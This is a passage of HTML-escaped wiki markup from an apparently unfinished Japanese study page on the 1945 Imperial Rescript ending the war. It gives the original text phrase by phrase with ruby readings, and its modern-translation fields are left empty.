&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;趨&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、
&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;堪&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;た&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;がた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;忍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;び、&lt;ruby&gt;&lt;rb&gt;以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;万&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ばん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;太&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;平&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;へい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;開&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひら&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;かんと&lt;ruby&gt;&lt;rb&gt;欲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;す。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ帝國ト共ニ]]
# [[#終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ]]
# [[#遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス]]
# [[#帝國臣民ニシテ]]
# [[#戰陣ニ死シ]]
# [[#職域ニ殉シ]]
# [[#非命ニ斃レタル者&amp;#xE0101;]]
# [[#及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ]]
# [[#五內爲ニ裂ク]]
# [[#且戰傷ヲ負&amp;#xE0102;ヒ]]
# [[#災禍&amp;#xE0100;ヲ蒙リ]]
# [[#家業ヲ失ヒタル者&amp;#xE0101;ノ]]
# [[#厚生ニ至リテハ]]
# [[#朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ]]
# [[#惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ]]
# [[#固ヨリ尋&amp;#xE0101;常ニアラス]]
# [[#爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル]]
# [[#然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101;]]
# [[#堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ]]
# [[#以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス]]

=== 朕&amp;#xE0102;ハ帝國ト共ニ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;始東亞ノ解放ニ協力セル諸&amp;#xE0100;盟邦&amp;#xE0102;ニ對シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 遺&amp;#xE0101;憾ノ意ヲ表セサルヲ得ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 帝國臣民ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰陣ニ死シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 職域ニ殉シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 非命ニ斃レタル者&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 及&amp;#xE0101;其ノ遺&amp;#xE0101;族ニ想ヲ致セハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 五內爲ニ裂ク ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 且戰傷ヲ負&amp;#xE0102;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 災禍&amp;#xE0100;ヲ蒙リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 家業ヲ失ヒタル者&amp;#xE0101;ノ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 厚生ニ至リテハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;ノ深ク軫念スル所&amp;#xE0101;ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 惟フニ今後帝國ノ受クヘキ苦難&amp;#xE0100;ハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 固ヨリ尋&amp;#xE0101;常ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爾臣民ノ衷情&amp;#xE0101;モ朕&amp;#xE0102;善ク之ヲ知ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然レトモ朕&amp;#xE0102;ハ時運&amp;#xE0101;ノ趨ク所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 堪ヘ難&amp;#xE0100;キヲ堪ヘ忍&amp;#xE0101;ヒ難&amp;#xE0100;キヲ忍&amp;#xE0101;ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 以テ萬世ノ爲ニ太平&amp;#xE0101;ヲ開カムト欲ス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第五段落 ==
&lt;!--◆第五段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ玆ニ國體ヲ護持シ得テ忠良ナル爾臣民ノ赤&lt;span style=&quot;color:#500;&quot;&gt;誠&amp;#xE0101;&lt;/span&gt;ニ信倚シ常ニ爾臣民ト共ニ在リ若シ夫レ&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;ノ激スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;濫ニ事端ヲ滋クシ或ハ同&lt;span style=&quot;color:#500;&quot;&gt;胞&amp;#xE0101;&lt;/span&gt;排擠互ニ時局ヲ亂リ爲ニ大&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;ヲ&lt;span style=&quot;color:#500;&quot;&gt;誤&amp;#xE0101;&lt;/span&gt;リ信義ヲ世界ニ失フカ如キハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;最モ之ヲ戒ム宜シク擧國一家子孫相傳ヘ確ク&lt;span style=&quot;color:#500;&quot;&gt;神&amp;#xE0100;&lt;/span&gt;州ノ不滅ヲ信シ任重クシテ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;遠&amp;#xE0101;&lt;/span&gt;キヲ念ヒ總力ヲ將來ノ&lt;span style=&quot;color:#500;&quot;&gt;建&amp;#xE0101;&lt;/span&gt;設ニ傾ケ&lt;span style=&quot;color:#500;&quot;&gt;道&amp;#xE0101;&lt;/span&gt;義ヲ篤クシ志操ヲ鞏クシ誓テ國體ノ&lt;span style=&quot;color:#500;&quot;&gt;精&amp;#xE0100;&lt;/span&gt;華ヲ發揚シ世界ノ&lt;span style=&quot;color:#500;&quot;&gt;進&amp;#xE0101;&lt;/span&gt;運󠄁ニ後レサラムコトヲ期スヘシ爾臣民其レ克ク&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;カ意ヲ體セヨ&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に &lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;護&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;持&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て、&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;誠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;倚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;在&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り。
&lt;ruby&gt;&lt;rb&gt;若&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;も&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;夫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;激&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;濫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;事&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;端&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;滋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しげ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;或&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あるい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;胞&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;排&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;擠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;互&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たがい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;乱&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;誤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あやま&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うが&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きは、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;戒&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いまし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;む、&lt;ruby&gt;&lt;rb&gt;宜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よろ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;しく&lt;ruby&gt;&lt;rb&gt;挙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;孫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;相&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;伝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、
